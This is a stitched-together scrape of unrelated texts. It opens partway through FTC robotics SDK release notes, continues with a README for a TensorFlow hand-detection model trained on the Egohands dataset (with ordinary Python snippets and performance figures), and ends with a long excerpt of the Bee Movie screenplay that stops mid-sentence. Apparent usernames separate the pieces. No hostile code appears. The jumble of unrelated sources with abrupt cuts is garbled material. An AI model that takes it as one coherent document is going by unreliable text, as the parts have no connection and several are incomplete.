MR Color Sensor). Added HTRGBExample.java op mode (demonstrates how to use HT legacy color sensor). Added MatrixControllerDemo.java (demonstrates how to use legacy Matrix controller). Updated javadoc documentation. Updated release .apk files for Robot Controller and Driver Station apps. Release 15.10.06.002 Added support for Legacy Matrix 9.6V motor/servo controller. Cleaned up build.gradle file. Minor UI and bug fixes for driver station and robot controller apps. Throws error if Ultrasonic sensor (NXT) is not configured for legacy module port 4 or 5. Release 15.08.03.001 New user interfaces for FTC Driver Station and FTC Robot Controller apps. An init() method is added to the OpMode class. For this release, init() is triggered right before the start() method. Eventually, the init() method will be triggered when the user presses an "INIT" button on driver station. The init() and loop() methods are now required (i.e., need to be overridden in the user's op mode). The start() and stop() methods are optional. A new LinearOpMode class is introduced. Teams can use the LinearOpMode mode to create a linear (not event driven) program model. Teams can use blocking statements like Thread.sleep() within a linear op mode. The API for the Legacy Module and Core Device Interface Module have been updated. Support for encoders with the Legacy Module is now working. The hardware loop has been updated for better performance.
molyswu
using Neural Networks (SSD) on Tensorflow. This repo documents steps and scripts used to train a hand detector using Tensorflow (Object Detection API). As with any DNN based task, the most expensive (and riskiest) part of the process has to do with finding or creating the right (annotated) dataset. I was interested mainly in detecting hands on a table (egocentric view point). I experimented first with the [Oxford Hands Dataset](http://www.robots.ox.ac.uk/~vgg/data/hands/) (the results were not good). I then tried the [Egohands Dataset](http://vision.soic.indiana.edu/projects/egohands/) which was a much better fit to my requirements. The goal of this repo/post is to demonstrate how neural networks can be applied to the (hard) problem of tracking hands (egocentric and other views). Better still, provide code that can be adapted to other uses cases. If you use this tutorial or models in your research or project, please cite [this](#citing-this-tutorial). Here is the detector in action. <img src="images/hand1.gif" width="33.3%"><img src="images/hand2.gif" width="33.3%"><img src="images/hand3.gif" width="33.3%"> Realtime detection on video stream from a webcam . <img src="images/chess1.gif" width="33.3%"><img src="images/chess2.gif" width="33.3%"><img src="images/chess3.gif" width="33.3%"> Detection on a Youtube video. Both examples above were run on a macbook pro **CPU** (i7, 2.5GHz, 16GB). Some fps numbers are: | FPS | Image Size | Device| Comments| | ------------- | ------------- | ------------- | ------------- | | 21 | 320 * 240 | Macbook pro (i7, 2.5GHz, 16GB) | Run without visualizing results| | 16 | 320 * 240 | Macbook pro (i7, 2.5GHz, 16GB) | Run while visualizing results (image above) | | 11 | 640 * 480 | Macbook pro (i7, 2.5GHz, 16GB) | Run while visualizing results (image above) | > Note: The code in this repo is written and tested with Tensorflow `1.4.0-rc0`. Using a different version may result in [some errors](https://github.com/tensorflow/models/issues/1581). You may need to [generate your own frozen model](https://pythonprogramming.net/testing-custom-object-detector-tensorflow-object-detection-api-tutorial/?completed=/training-custom-objects-tensorflow-object-detection-api-tutorial/) graph using the [model checkpoints](model-checkpoint) in the repo to fit your TF version. **Content of this document** - Motivation - Why Track/Detect hands with Neural Networks - Data preparation and network training in Tensorflow (Dataset, Import, Training) - Training the hand detection Model - Using the Detector to Detect/Track hands - Thoughts on Optimizations. > P.S if you are using or have used the models provided here, feel free to reach out on twitter ([@vykthur](https://twitter.com/vykthur)) and share your work! ## Motivation - Why Track/Detect hands with Neural Networks? There are several existing approaches to tracking hands in the computer vision domain. Incidentally, many of these approaches are rule based (e.g extracting background based on texture and boundary features, distinguishing between hands and background using color histograms and HOG classifiers,) making them not very robust. For example, these algorithms might get confused if the background is unusual or in situations where sharp changes in lighting conditions cause sharp changes in skin color or the tracked object becomes occluded.(see [here for a review](https://www.cse.unr.edu/~bebis/handposerev.pdf) paper on hand pose estimation from the HCI perspective) With sufficiently large datasets, neural networks provide opportunity to train models that perform well and address challenges of existing object tracking/detection algorithms - varied/poor lighting, noisy environments, diverse viewpoints and even occlusion. The main drawbacks to usage for real-time tracking/detection is that they can be complex, are relatively slow compared to tracking-only algorithms and it can be quite expensive to assemble a good dataset. But things are changing with advances in fast neural networks. Furthermore, this entire area of work has been made more approachable by deep learning frameworks (such as the tensorflow object detection api) that simplify the process of training a model for custom object detection. More importantly, the advent of fast neural network models like ssd, faster r-cnn, rfcn (see [here](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md#coco-trained-models-coco-models) ) etc make neural networks an attractive candidate for real-time detection (and tracking) applications. Hopefully, this repo demonstrates this. > If you are not interested in the process of training the detector, you can skip straight to applying the [pretrained model I provide in detecting hands](#detecting-hands). Training a model is a multi-stage process (assembling dataset, cleaning, splitting into training/test partitions and generating an inference graph). While I lightly touch on the details of these parts, there are a few other tutorials cover training a custom object detector using the tensorflow object detection api in more detail[ see [here](https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/) and [here](https://towardsdatascience.com/how-to-train-your-own-object-detector-with-tensorflows-object-detector-api-bec72ecfe1d9) ]. I recommend you walk through those if interested in training a custom object detector from scratch. ## Data preparation and network training in Tensorflow (Dataset, Import, Training) **The Egohands Dataset** The hand detector model is built using data from the [Egohands Dataset](http://vision.soic.indiana.edu/projects/egohands/) dataset. This dataset works well for several reasons. It contains high quality, pixel level annotations (>15000 ground truth labels) where hands are located across 4800 images. All images are captured from an egocentric view (Google glass) across 48 different environments (indoor, outdoor) and activities (playing cards, chess, jenga, solving puzzles etc). <img src="images/egohandstrain.jpg" width="100%"> If you will be using the Egohands dataset, you can cite them as follows: > Bambach, Sven, et al. "Lending a hand: Detecting hands and recognizing activities in complex egocentric interactions." Proceedings of the IEEE International Conference on Computer Vision. 2015. The Egohands dataset (zip file with labelled data) contains 48 folders of locations where video data was collected (100 images per folder). ``` -- LOCATION_X -- frame_1.jpg -- frame_2.jpg ... -- frame_100.jpg -- polygons.mat // contains annotations for all 100 images in current folder -- LOCATION_Y -- frame_1.jpg -- frame_2.jpg ... -- frame_100.jpg -- polygons.mat // contains annotations for all 100 images in current folder ``` **Converting data to Tensorflow Format** Some initial work needs to be done to the Egohands dataset to transform it into the format (`tfrecord`) which Tensorflow needs to train a model. This repo contains `egohands_dataset_clean.py` a script that will help you generate these csv files. - Downloads the egohands datasets - Renames all files to include their directory names to ensure each filename is unique - Splits the dataset into train (80%), test (10%) and eval (10%) folders. - Reads in `polygons.mat` for each folder, generates bounding boxes and visualizes them to ensure correctness (see image above). - Once the script is done running, you should have an images folder containing three folders - train, test and eval. Each of these folders should also contain a csv label document each - `train_labels.csv`, `test_labels.csv` that can be used to generate `tfrecords` Note: While the egohands dataset provides four separate labels for hands (own left, own right, other left, and other right), for my purpose, I am only interested in the general `hand` class and label all training data as `hand`. You can modify the data prep script to generate `tfrecords` that support 4 labels. Next: convert your dataset + csv files to tfrecords. A helpful guide on this can be found [here](https://pythonprogramming.net/creating-tfrecord-files-tensorflow-object-detection-api-tutorial/).For each folder, you should be able to generate `train.record`, `test.record` required in the training process. ## Training the hand detection Model Now that the dataset has been assembled (and your tfrecords), the next task is to train a model based on this. With neural networks, it is possible to use a process called [transfer learning](https://www.tensorflow.org/tutorials/image_retraining) to shorten the amount of time needed to train the entire model. This means we can take an existing model (that has been trained well on a related domain (here image classification) and retrain its final layer(s) to detect hands for us. Sweet!. Given that neural networks sometimes have thousands or millions of parameters that can take weeks or months to train, transfer learning helps shorten training time to possibly hours. Tensorflow does offer a few models (in the tensorflow [model zoo](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/detection_model_zoo.md#coco-trained-models-coco-models)) and I chose to use the `ssd_mobilenet_v1_coco` model as my start point given it is currently (one of) the fastest models (read the SSD research [paper here](https://arxiv.org/pdf/1512.02325.pdf)). The training process can be done locally on your CPU machine which may take a while or better on a (cloud) GPU machine (which is what I did). For reference, training on my macbook pro (tensorflow compiled from source to take advantage of the mac's cpu architecture) the maximum speed I got was 5 seconds per step as opposed to the ~0.5 seconds per step I got with a GPU. For reference it would take about 12 days to run 200k steps on my mac (i7, 2.5GHz, 16GB) compared to ~5hrs on a GPU. > **Training on your own images**: Please use the [guide provided by Harrison from pythonprogramming](https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/) on how to generate tfrecords given your label csv files and your images. The guide also covers how to start the training process if training locally. [see [here] (https://pythonprogramming.net/training-custom-objects-tensorflow-object-detection-api-tutorial/)]. If training in the cloud using a service like GCP, see the [guide here](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/running_on_cloud.md). As the training process progresses, the expectation is that total loss (errors) gets reduced to its possible minimum (about a value of 1 or thereabout). By observing the tensorboard graphs for total loss(see image below), it should be possible to get an idea of when the training process is complete (total loss does not decrease with further iterations/steps). I ran my training job for 200k steps (took about 5 hours) and stopped at a total Loss (errors) value of 2.575.(In retrospect, I could have stopped the training at about 50k steps and gotten a similar total loss value). With tensorflow, you can also run an evaluation concurrently that assesses your model to see how well it performs on the test data. A commonly used metric for performance is mean average precision (mAP) which is single number used to summarize the area under the precision-recall curve. mAP is a measure of how well the model generates a bounding box that has at least a 50% overlap with the ground truth bounding box in our test dataset. For the hand detector trained here, the mAP value was **0.9686@0.5IOU**. mAP values range from 0-1, the higher the better. <img src="images/accuracy.jpg" width="100%"> Once training is completed, the trained inference graph (`frozen_inference_graph.pb`) is then exported (see the earlier referenced guides for how to do this) and saved in the `hand_inference_graph` folder. Now its time to do some interesting detection. ## Using the Detector to Detect/Track hands If you have not done this yet, please following the guide on installing [Tensorflow and the Tensorflow object detection api](https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/installation.md). This will walk you through setting up the tensorflow framework, cloning the tensorflow github repo and a guide on - Load the `frozen_inference_graph.pb` trained on the hands dataset as well as the corresponding label map. In this repo, this is done in the `utils/detector_utils.py` script by the `load_inference_graph` method. ```python detection_graph = tf.Graph() with detection_graph.as_default(): od_graph_def = tf.GraphDef() with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tf.import_graph_def(od_graph_def, name='') sess = tf.Session(graph=detection_graph) print("> ====== Hand Inference graph loaded.") ``` - Detect hands. In this repo, this is done in the `utils/detector_utils.py` script by the `detect_objects` method. ```python (boxes, scores, classes, num) = sess.run( [detection_boxes, detection_scores, detection_classes, num_detections], feed_dict={image_tensor: image_np_expanded}) ``` - Visualize detected bounding detection_boxes. In this repo, this is done in the `utils/detector_utils.py` script by the `draw_box_on_image` method. This repo contains two scripts that tie all these steps together. - detect_multi_threaded.py : A threaded implementation for reading camera video input detection and detecting. Takes a set of command line flags to set parameters such as `--display` (visualize detections), image parameters `--width` and `--height`, videe `--source` (0 for camera) etc. - detect_single_threaded.py : Same as above, but single threaded. This script works for video files by setting the video source parameter videe `--source` (path to a video file). ```cmd # load and run detection on video at path "videos/chess.mov" python detect_single_threaded.py --source videos/chess.mov ``` > Update: If you do have errors loading the frozen inference graph in this repo, feel free to generate a new graph that fits your TF version from the model-checkpoint in this repo. Use the [export_inference_graph.py](https://github.com/tensorflow/models/blob/master/research/object_detection/export_inference_graph.py) script provided in the tensorflow object detection api repo. More guidance on this [here](https://pythonprogramming.net/testing-custom-object-detector-tensorflow-object-detection-api-tutorial/?completed=/training-custom-objects-tensorflow-object-detection-api-tutorial/). ## Thoughts on Optimization. A few things that led to noticeable performance increases. - Threading: Turns out that reading images from a webcam is a heavy I/O event and if run on the main application thread can slow down the program. I implemented some good ideas from [Adrian Rosebuck](https://www.pyimagesearch.com/2017/02/06/faster-video-file-fps-with-cv2-videocapture-and-opencv/) on parrallelizing image capture across multiple worker threads. This mostly led to an FPS increase of about 5 points. - For those new to Opencv, images from the `cv2.read()` method return images in [BGR format](https://www.learnopencv.com/why-does-opencv-use-bgr-color-format/). Ensure you convert to RGB before detection (accuracy will be much reduced if you dont). ```python cv2.cvtColor(image_np, cv2.COLOR_BGR2RGB) ``` - Keeping your input image small will increase fps without any significant accuracy drop.(I used about 320 x 240 compared to the 1280 x 720 which my webcam provides). - Model Quantization. Moving from the current 32 bit to 8 bit can achieve up to 4x reduction in memory required to load and store models. One way to further speed up this model is to explore the use of [8-bit fixed point quantization](https://heartbeat.fritz.ai/8-bit-quantization-and-tensorflow-lite-speeding-up-mobile-inference-with-low-precision-a882dfcafbbd). Performance can also be increased by a clever combination of tracking algorithms with the already decent detection and this is something I am still experimenting with. Have ideas for optimizing better, please share! <img src="images/general.jpg" width="100%"> Note: The detector does reflect some limitations associated with the training set. This includes non-egocentric viewpoints, very noisy backgrounds (e.g in a sea of hands) and sometimes skin tone. There is opportunity to improve these with additional data. ## Integrating Multiple DNNs. One way to make things more interesting is to integrate our new knowledge of where "hands" are with other detectors trained to recognize other objects. Unfortunately, while our hand detector can in fact detect hands, it cannot detect other objects (a factor or how it is trained). To create a detector that classifies multiple different objects would mean a long involved process of assembling datasets for each class and a lengthy training process. > Given the above, a potential strategy is to explore structures that allow us **efficiently** interleave output form multiple pretrained models for various object classes and have them detect multiple objects on a single image. An example of this is with my primary use case where I am interested in understanding the position of objects on a table with respect to hands on same table. I am currently doing some work on a threaded application that loads multiple detectors and outputs bounding boxes on a single image. More on this soon.
danderfer
According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway. Because bees don’t care what humans think is impossible.” SEQ. 75 - “INTRO TO BARRY” INT. BENSON HOUSE - DAY ANGLE ON: Sneakers on the ground. Camera PANS UP to reveal BARRY BENSON’S BEDROOM ANGLE ON: Barry’s hand flipping through different sweaters in his closet. BARRY Yellow black, yellow black, yellow black, yellow black, yellow black, yellow black...oohh, black and yellow... ANGLE ON: Barry wearing the sweater he picked, looking in the mirror. BARRY (CONT’D) Yeah, let’s shake it up a little. He picks the black and yellow one. He then goes to the sink, takes the top off a CONTAINER OF HONEY, and puts some honey into his hair. He squirts some in his mouth and gargles. Then he takes the lid off the bottle, and rolls some on like deodorant. CUT TO: INT. BENSON HOUSE KITCHEN - CONTINUOUS Barry’s mother, JANET BENSON, yells up at Barry. JANET BENSON Barry, breakfast is ready! CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 1. INT. BARRY’S ROOM - CONTINUOUS BARRY Coming! SFX: Phone RINGING. Barry’s antennae vibrate as they RING like a phone. Barry’s hands are wet. He looks around for a towel. BARRY (CONT’D) Hang on a second! He wipes his hands on his sweater, and pulls his antennae down to his ear and mouth. BARRY (CONT'D) Hello? His best friend, ADAM FLAYMAN, is on the other end. ADAM Barry? BARRY Adam? ADAM Can you believe this is happening? BARRY Can’t believe it. I’ll pick you up. Barry sticks his stinger in a sharpener. SFX: BUZZING AS HIS STINGER IS SHARPENED. He tests the sharpness with his finger. SFX: Bing. BARRY (CONT’D) Looking sharp. ANGLE ON: Barry hovering down the hall, sliding down the staircase bannister. Barry’s mother, JANET BENSON, is in the kitchen. JANET BENSON Barry, why don’t you use the stairs? Your father paid good money for those. "Bee Movie" - JS REVISIONS 8/13/07 2. BARRY Sorry, I’m excited. Barry’s father, MARTIN BENSON, ENTERS. He’s reading a NEWSPAPER with the HEADLINE, “Queen gives birth to thousandtuplets: Resting Comfortably.” MARTIN BENSON Here’s the graduate. We’re very proud of you, Son. And a perfect report card, all B’s. JANET BENSON (mushing Barry’s hair) Very proud. BARRY Ma! I’ve got a thing going here. Barry re-adjusts his hair, starts to leave. JANET BENSON You’ve got some lint on your fuzz. She picks it off. BARRY Ow, that’s me! MARTIN BENSON Wave to us. We’ll be in row 118,000. Barry zips off. BARRY Bye! JANET BENSON Barry, I told you, stop flying in the house! CUT TO: SEQ. 750 - DRIVING TO GRADUATION EXT. BEE SUBURB - MORNING A GARAGE DOOR OPENS. Barry drives out in his CAR. "Bee Movie" - JS REVISIONS 8/13/07 3. ANGLE ON: Barry’s friend, ADAM FLAYMAN, standing by the curb. He’s reading a NEWSPAPER with the HEADLINE: “Frisbee Hits Hive: Internet Down. Bee-stander: “I heard a sound, and next thing I knew...wham-o!.” Barry drives up, stops in front of Adam. Adam jumps in. BARRY Hey, Adam. ADAM Hey, Barry. (pointing at Barry’s hair) Is that fuzz gel? BARRY A little. It’s a special day. Finally graduating. ADAM I never thought I’d make it. BARRY Yeah, three days of grade school, three days of high school. ADAM Those were so awkward. BARRY Three days of college. I’m glad I took off one day in the middle and just hitchhiked around the hive. ADAM You did come back different. They drive by a bee who’s jogging. ARTIE Hi Barry! BARRY (to a bee pedestrian) Hey Artie, growing a mustache? Looks good. Barry and Adam drive from the suburbs into the city. ADAM Hey, did you hear about Frankie? "Bee Movie" - JS REVISIONS 8/13/07 4. BARRY Yeah. ADAM You going to his funeral? BARRY No, I’m not going to his funeral. Everybody knows you sting someone you die, you don’t waste it on a squirrel. He was such a hot head. ADAM Yeah, I guess he could’ve just gotten out of the way. The DRIVE through a loop de loop. BARRY AND ADAM Whoa...Whooo...wheee!! ADAM I love this incorporating the amusement park right into our regular day. BARRY I guess that’s why they say we don’t need vacations. CUT TO: SEQ. 95 - GRADUATION EXT. GRADUATION CEREMONY - CONTINUOUS Barry and Adam come to a stop. They exit the car, and fly over the crowd to their seats. * BARRY * (re: graduation ceremony) * Boy, quite a bit of pomp...under * the circumstances. * They land in their seats. BARRY (CONT’D) Well Adam, today we are men. "Bee Movie" - JS REVISIONS 8/13/07 5. ADAM We are. BARRY Bee-men. ADAM Amen! BARRY Hallelujah. Barry hits Adam’s forehead. Adam goes into the rapture. An announcement comes over the PA. ANNOUNCER (V.O) Students, faculty, distinguished bees...please welcome, Dean Buzzwell. ANGLE ON: DEAN BUZZWELL steps up to the podium. The podium has a sign that reads: “Welcome Graduating Class of:”, with train-station style flipping numbers after it. BUZZWELL Welcome New Hive City graduating class of... The numbers on the podium change to 9:15. BUZZWELL (CONT’D) ...9:15. (he clears his throat) And that concludes our graduation ceremonies. And begins your career at Honex Industries. BARRY Are we going to pick our job today? ADAM I heard it’s just orientation. The rows of chairs change in transformer-like mechanical motion to Universal Studios type tour trams. Buzzwell walks off stage. BARRY (re: trams) Whoa, heads up! Here we go. "Bee Movie" - JS REVISIONS 8/13/07 6. SEQ. 125 - “FACTORY” FEMALE VOICE (V.O) Keep your hands and antennas inside the tram at all times. (in Spanish) Dejen las manos y antennas adentro del tram a todos tiempos. BARRY I wonder what it’s going to be like? ADAM A little scary. Barry shakes Adam. BARRY AND ADAM AAHHHH! The tram passes under SIGNS READING: “Honex: A Division of Honesco: A Part of the Hexagon Group.” TRUDY Welcome to Honex, a division of Honesco, and a part of the Hexagon group. BARRY This is it! The Honex doors OPEN, revealing the factory. BARRY (CONT’D) Wow. TRUDY We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant pollen jocks bring the nectar to the hive where our top secret formula is automatically color-corrected, scent adjusted and bubble contoured into this... Trudy GRABS a TEST TUBE OF HONEY from a technician. "Bee Movie" - JS REVISIONS 8/13/07 7. TRUDY (CONT’D) ...soothing, sweet syrup with its distinctive golden glow, you all know as... EVERYONE ON THE TRAM (in unison) H-o-n-e-y. Trudy flips the flask into the crowd, and laughs as they all scramble for it. ANGLE ON: A GIRL BEE catching the honey. ADAM (sotto) That girl was hot. BARRY (sotto) She’s my cousin. ADAM She is? BARRY Yes, we’re all cousins. ADAM Right. You’re right. TRUDY At Honex, we also constantly strive to improve every aspect of bee existence. These bees are stress testing a new helmet technology. ANGLE ON: A STUNT BEE in a HELMET getting hit with a NEWSPAPER, then a SHOE, then a FLYSWATTER. He gets up, and gives a “thumb’s up”. The graduate bees APPLAUD. ADAM (re: stunt bee) What do you think he makes? BARRY Not enough. TRUDY And here we have our latest advancement, the Krelman. "Bee Movie" - JS REVISIONS 8/13/07 8. BARRY Wow, what does that do? TRUDY Catches that little strand of honey that hangs after you pour it. Saves us millions. ANGLE ON: The Krelman machine. Bees with hand-shaped hats on, rotating around a wheel to catch drips of honey. Adam’s hand shoots up. ADAM Can anyone work on the Krelman? TRUDY Of course. Most bee jobs are small ones. But bees know that every small job, if it’s done well, means a lot. There are over 3000 different bee occupations. But choose carefully, because you’ll stay in the job that you pick for the rest of your life. The bees CHEER. ANGLE ON: Barry’s smile dropping slightly. BARRY The same job for the rest of your life? I didn’t know that. ADAM What’s the difference? TRUDY And you’ll be happy to know that bees as a species haven’t had one day off in 27 million years. BARRY So you’ll just work us to death? TRUDY (laughing) We’ll sure try. Everyone LAUGHS except Barry. "Bee Movie" - JS REVISIONS 8/13/07 9. The tram drops down a log-flume type steep drop. Cameras flash, as all the bees throw up their hands. The frame freezes into a snapshot. Barry looks concerned. The tram continues through 2 doors. FORM DISSOLVE TO: SEQ. 175 - “WALKING THE HIVE” INT. HONEX LOBBY ANGLE ON: The log-flume photo, as Barry looks at it. ADAM Wow. That blew my mind. BARRY (annoyed) “What’s the difference?” Adam, how could you say that? One job forever? That’s an insane choice to have to make. ADAM Well, I’m relieved. Now we only have to make one decision in life. BARRY But Adam, how could they never have told us that? ADAM Barry, why would you question anything? We’re bees. We’re the most perfectly functioning society on Earth. They walk by a newspaper stand with A SANDWICH BOARD READING: “Bee Goes Berserk: Stings Seven Then Self.” ANGLE ON: A BEE filling his car’s gas tank from a honey pump. He fills his car some, then takes a swig for himself. NEWSPAPER BEE (to the bee guzzling gas) Hey! Barry and Adam begin to cross the street. "Bee Movie" - JS REVISIONS 8/13/07 10. BARRY Yeah but Adam, did you ever think that maybe things work a little too well around here? They stop in the middle of the street. The traffic moves perfectly around them. ADAM Like what? Give me one example. BARRY (thinks) ...I don’t know. But you know what I’m talking about. They walk off. SEQ. 400 - “MEET THE JOCKS” SFX: The SOUND of Pollen Jocks. PAN DOWN from the Honex statue. J-GATE ANNOUNCER Please clear the gate. Royal Nectar Force on approach. Royal Nectar Force on approach. BARRY Wait a second. Check it out. Hey, hey, those are Pollen jocks. ADAM Wow. FOUR PATROL BEES FLY in through the hive’s giant Gothic entrance. The Patrol Bees are wearing fighter pilot helmets with black visors. ADAM (CONT’D) I’ve never seen them this close. BARRY They know what it’s like to go outside the hive. ADAM Yeah, but some of them don’t come back. "Bee Movie" - JS REVISIONS 8/13/07 11. The nectar from the pollen jocks is removed from their backpacks, and loaded into trucks on their way to Honex. A SMALL CROWD forms around the Patrol Bees. Each one has a PIT CREW that takes their nectar. Lou Loduca hurries a pit crew along: LOU LODUCA You guys did great! You’re monsters. You’re sky freaks! I love it! I love it! SCHOOL GIRLS are jumping up and down and squealing nearby. BARRY I wonder where those guys have just been? ADAM I don’t know. BARRY Their day’s not planned. Outside the hive, flying who-knows-where, doing who-knows-what. ADAM You can’t just decide one day to be a Pollen Jock. You have to be bred for that. BARRY Right. Pollen Jocks cross in close proximity to Barry and Adam. Some pollen falls off, onto Barry and Adam. BARRY (CONT’D) Look at that. That’s more pollen than you and I will ever see in a lifetime. ADAM (playing with the pollen) It’s just a status symbol. I think bees make too big a deal out of it. BARRY Perhaps, unless you’re wearing it, and the ladies see you wearing it. ANGLE ON: Two girl bees. "Bee Movie" - JS REVISIONS 8/13/07 12. ADAM Those ladies? Aren’t they our cousins too? BARRY Distant, distant. ANGLE ON: TWO POLLEN JOCKS. JACKSON Look at these two. SPLITZ Couple of Hive Harrys. JACKSON Let’s have some fun with them. The pollen jocks approach. Barry and Adam continue to talk to the girls. GIRL 1 It must be so dangerous being a pollen jock. BARRY Oh yeah, one time a bear had me pinned up against a mushroom. He had one paw on my throat, and with the other he was slapping me back and forth across the face. GIRL 1 Oh my. BARRY I never thought I’d knock him out. GIRL 2 (to Adam) And what were you doing during all of this? ADAM Obviously I was trying to alert the authorities. The girl swipes some pollen off of Adam with a finger. BARRY (re: pollen) I can autograph that if you want. "Bee Movie" - JS REVISIONS 8/13/07 13. JACKSON Little gusty out there today, wasn’t it, comrades? BARRY Yeah. Gusty. BUZZ You know, we’re going to hit a sunflower patch about six miles from here tomorrow. BARRY Six miles, huh? ADAM (whispering) Barry. BUZZ It’s a puddle-jump for us. But maybe you’re not up for it. BARRY Maybe I am. ADAM (whispering louder) You are not! BUZZ We’re going, oh-nine hundred at JGate. ADAM (re: j-gate) Whoa. BUZZ (leaning in, on top of Barry) What do you think, Buzzy Boy? Are you bee enough? BARRY I might be. It all depends on what oh-nine hundred means. CUT TO: SEQ. 450 - “THE BALCONY” "Bee Movie" - JS REVISIONS 8/13/07 14. INT. BENSON HOUSE BALCONY - LATER Barry is standing on the balcony alone, looking out over the city. Martin Benson ENTERS, sneaks up behind Barry and gooses him in his ribs. MARTIN BENSON Honex! BARRY Oh, Dad. You surprised me. MARTIN BENSON (laughing) Have you decided what you’re interested in, Son? BARRY Well, there’s a lot of choices. MARTIN BENSON But you only get one. Martin LAUGHS. BARRY Dad, do you ever get bored doing the same job every day? MARTIN BENSON Son, let me tell you something about stirring. (making the stirring motion) You grab that stick and you just move it around, and you stir it around. You get yourself into a rhythm, it’s a beautiful thing. BARRY You know dad, the more I think about it, maybe the honey field just isn’t right for me. MARTIN BENSON And you were thinking of what, making balloon animals? That’s a bad job for a guy with a stinger. "Bee Movie" - JS REVISIONS 8/13/07 15. BARRY Well no... MARTIN BENSON Janet, your son’s not sure he wants to go into honey. JANET BENSON Oh Barry, you are so funny sometimes. BARRY I’m not trying to be funny. MARTIN BENSON You’re not funny, you’re going into honey. Our son, the stirrer. JANET BENSON You’re going to be a stirrer?! BARRY No one’s listening to me. MARTIN BENSON Wait until you see the sticks I have for you. BARRY I can say anything I want right now. I’m going to get an ant tattoo. JANET BENSON Let’s open some fresh honey and celebrate. BARRY Maybe I’ll pierce my thorax! MARTIN BENSON (toasting) To honey! BARRY Shave my antennae! JANET BENSON To honey! "Bee Movie" - JS REVISIONS 8/13/07 16. BARRY Shack up with a grasshopper, get a gold tooth, and start calling everybody “Dawg.” CUT TO: SEQ. 760 - “JOB PLACEMENT” EXT. HONEX LOBBY - CONTINUOUS ANGLE ON: A BEE BUS STOP. One group of bees stands on the pavement, as another group hovers above them. A doubledecker bus pulls up. The hovering bees get on the top level, and the standing bees get on the bottom. Barry and Adam pull up outside of Honex. ADAM I can’t believe we’re starting work today. BARRY Today’s the day. Adam jumps out of the car. ADAM (O.C) Come on. All the good jobs will be gone. BARRY Yeah, right... ANGLE ON: A BOARD READING: “JOB PLACEMENT BOARD”. Buzzwell, the Bee Processor, is at the counter. Another BEE APPLICANT, SANDY SHRIMPKIN is EXITING. SANDY SHRIMPKIN Is it still available? BUZZWELL Hang on. (he looks at changing numbers on the board) Two left. And...one of them’s yours. Congratulations Son, step to the side please. "Bee Movie" - JS REVISIONS 8/13/07 17. SANDY SHRIMPKIN Yeah! ADAM (to Sandy, leaving) What did you get? SANDY SHRIMPKIN Picking the crud out. That is stellar! ADAM Wow. BUZZWELL (to Adam and Barry) Couple of newbies? ADAM Yes Sir. Our first day. We are ready. BUZZWELL Well, step up and make your choice. ANGLE ON: A CHART listing the different sectors of Honex. Heating, Cooling, Viscosity, Krelman, Pollen Counting, Stunt Bee, Pouring, Stirrer, Humming, Regurgitating, Front Desk, Hair Removal, Inspector No. 7, Chef, Lint Coordinator, Stripe Supervisor, Antennae-ball polisher, Mite Wrangler, Swatting Counselor, Wax Monkey, Wing Brusher, Hive Keeper, Restroom Attendant. ADAM (to Barry) You want to go first? BARRY No, you go. ADAM Oh my. What’s available? BUZZWELL Restroom attendant is always open, and not for the reason you think. ADAM Any chance of getting on to the Krelman, Sir? BUZZWELL Sure, you’re on. "Bee Movie" - JS REVISIONS 8/13/07 18. He plops the KRELMAN HAT onto Adam’s head. ANGLE ON: The job board. THE COLUMNS READ: “OCCUPATION” “POSITIONS AVAILABLE”, and “STATUS”. The middle column has numbers, and the right column has job openings flipping between “open”, “pending”, and “closed”. BUZZWELL (CONT’D) Oh, I’m sorry. The Krelman just closed out. ADAM Oh! He takes the hat off Adam. BUZZWELL Wax Monkey’s always open. The Krelman goes from “Closed” to “Open”. BUZZWELL (CONT’D) And the Krelman just opened up again. ADAM What happened? BUZZWELL Well, whenever a bee dies, that’s an opening. (pointing at the board) See that? He’s dead, dead, another dead one, deady, deadified, two more dead. Dead from the neck up, dead from the neck down. But, that’s life. ANGLE ON: Barry’s disturbed expression. ADAM (feeling pressure to decide) Oh, this is so hard. Heating, cooling, stunt bee, pourer, stirrer, humming, inspector no. 7, lint coordinator, stripe supervisor, antenna-ball polisher, mite wrangler-- Barry, Barry, what do you think I should-- Barry? Barry? "Bee Movie" - JS REVISIONS 8/13/07 19. Barry is gone. CUT TO: SEQ. 775 - “LOU LODUCA SPEECH” EXT. J-GATE - SAME TIME Splitz, Jackson, Buzz, Lou and two other BEES are going through final pre-flight checks. Barry ENTERS. LOU LODUCA Alright, we’ve got the sunflower patch in quadrant nine. Geranium window box on Sutton Place... Barry’s antennae rings, like a phone. ADAM (V.O) What happened to you? Where are you? Barry whispers throughout. BARRY I’m going out. ADAM (V.O) Out? Out where? BARRY Out there. ADAM (V.O) (putting it together) Oh no. BARRY I have to, before I go to work for the rest of my life. ADAM (V.O) You’re going to die! You’re crazy! Hello? BARRY Oh, another call coming in. "Bee Movie" - JS REVISIONS 8/13/07 20. ADAM (V.O) You’re cra-- Barry HANGS UP. ANGLE ON: Lou Loduca. LOU LODUCA If anyone’s feeling brave, there’s a Korean Deli on 83rd that gets their roses today. BARRY (timidly) Hey guys. BUZZ Well, look at that. SPLITZ Isn’t that the kid we saw yesterday? LOU LODUCA (to Barry) Hold it son, flight deck’s restricted. JACKSON It’s okay Lou, we’re going to take him up. Splitz and Jackson CHUCKLE. LOU LODUCA Really? Feeling lucky, are ya? A YOUNGER SMALLER BEE THAN BARRY, CHET, runs up with a release waiver for Barry to sign. CHET Sign here. Here. Just initial that. Thank you. LOU LODUCA Okay, you got a rain advisory today and as you all know, bees cannot fly in rain. So be careful. As always, (reading off clipboard) watch your brooms, hockey sticks, dogs, birds, bears, and bats. "Bee Movie" - JS REVISIONS 8/13/07 21. Also, I got a couple reports of root beer being poured on us. Murphy’s in a home because of it, just babbling like a cicada. BARRY That’s awful. LOU LODUCA And a reminder for all you rookies, bee law number one, 